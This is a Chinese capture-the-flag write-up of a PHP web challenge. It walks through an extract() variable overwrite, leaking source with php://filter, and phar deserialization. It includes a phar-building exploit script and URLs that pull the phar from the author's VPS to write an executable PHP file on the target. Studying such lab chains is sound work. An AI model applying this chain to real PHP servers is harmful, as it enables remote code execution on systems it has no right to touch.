前言
一直打算复现一下安恒月赛的题目,因为学校的考试,鸽到现在了,快半个月没接触web了,这里以此题复现开始,拉开寒假学习的序幕了,嘿嘿。
解题
打开题目,是一个代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(E_ALL); $sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandbox)) { mkdir($sandbox); } include_once('template.php'); $template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl'); if(isset($_GET['var']) && is_array($_GET['var'])) { extract($_GET['var'], EXTR_OVERWRITE); } else { highlight_file(__file__); die(); } if(isset($_GET['tp'])) { $tp = $_GET['tp']; if (array_key_exists($tp, $template) === FALSE) { echo "No! You only have 3 template to reader"; die(); } $content = file_get_contents($template[$tp]); $temp = new Template($content); } else { echo "Please choice one template to reader"; } ?>
|
一开始我是挨个尝试了,看有没有啥有提示信息
?var=var[]&tp=tp1 、 ?var=var[]&tp=tp2 、?var=var[]&tp=tp3 然而并没有什么有用的提示信息。注意到这里有一个 extract函数,这里想到用变量覆盖,这里是二维数组的变量覆盖。所以一开始我的目的是读一下template.php的源代码,伪协议结合file_get_contents函数结合变量覆盖来读取:
?var=var[template][tp1]=php://filter/read=convert.base64-encode/resource=template.php&tp=tp1 解码一下拿到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php class Template { public $content; public $pattern; public $suffix;
public function __construct($content){ $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; }
public function __destruct() { $this->render(); } public function render() { while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]};
if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else{ break; } } if(strlen($this->suffix)>5) { echo "error suffix"; die(); } $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "Your html file is in " . $filename; } } ?>
|
所以接下来就是怎么利用这个类了,后面的后缀被写死了,看上去无论我们怎么写,都是html后缀。然后去想会不会是模板注入,又尝试了一下,不太行。所以思路到这里断了。赛后听师傅说可以利用 phar 反序列化,顿时悟了。赛后诸葛亮本人了(dog)
我们再回过头来看 index.php 中 $content = file_get_contents($template[$tp]); 这个函数是支持phar协议的,恰好 template类里面有一个destruct魔法函数,利用它我们可以修改suffix的值,造成参数可控,写成我们的PHP马。
所以攻击流程很清晰了,我们先本地构造一下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class Template { public $content='<?php phpinfo();?>'; public $pattern; public $suffix='.php'; } $a = new Template(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
本地访问生成 phar.phar文件,然后传到我的vps上(http://106.54.90.137:2335/phar.phar
将phar.phar内容写进去:http://106.54.90.137:2336/?var[template][tp1]=http://106.54.90.137:2335/phar.phar&tp=tp1
内容会被写入到html文件,然后我们用phar://协议去读它,触发反序列化,写入我们的shell。
http://106.54.90.137:2336/?var[template[tp1]=phar://uploads/101c22e378107e54bb679250db46de99/2934bd6f6ee9eb0ee7088efb41eacc32.html&tp=tp1
发现成功写入php文件:

我们访问这个php文件,发现成功执行:

小结
当时做的时候没有联想到用反序列化去突破后缀限制,对phar用法还没能灵活运用,以为只会在文件上传会有利用之处。
要清晰每个漏洞的效果,活学活用。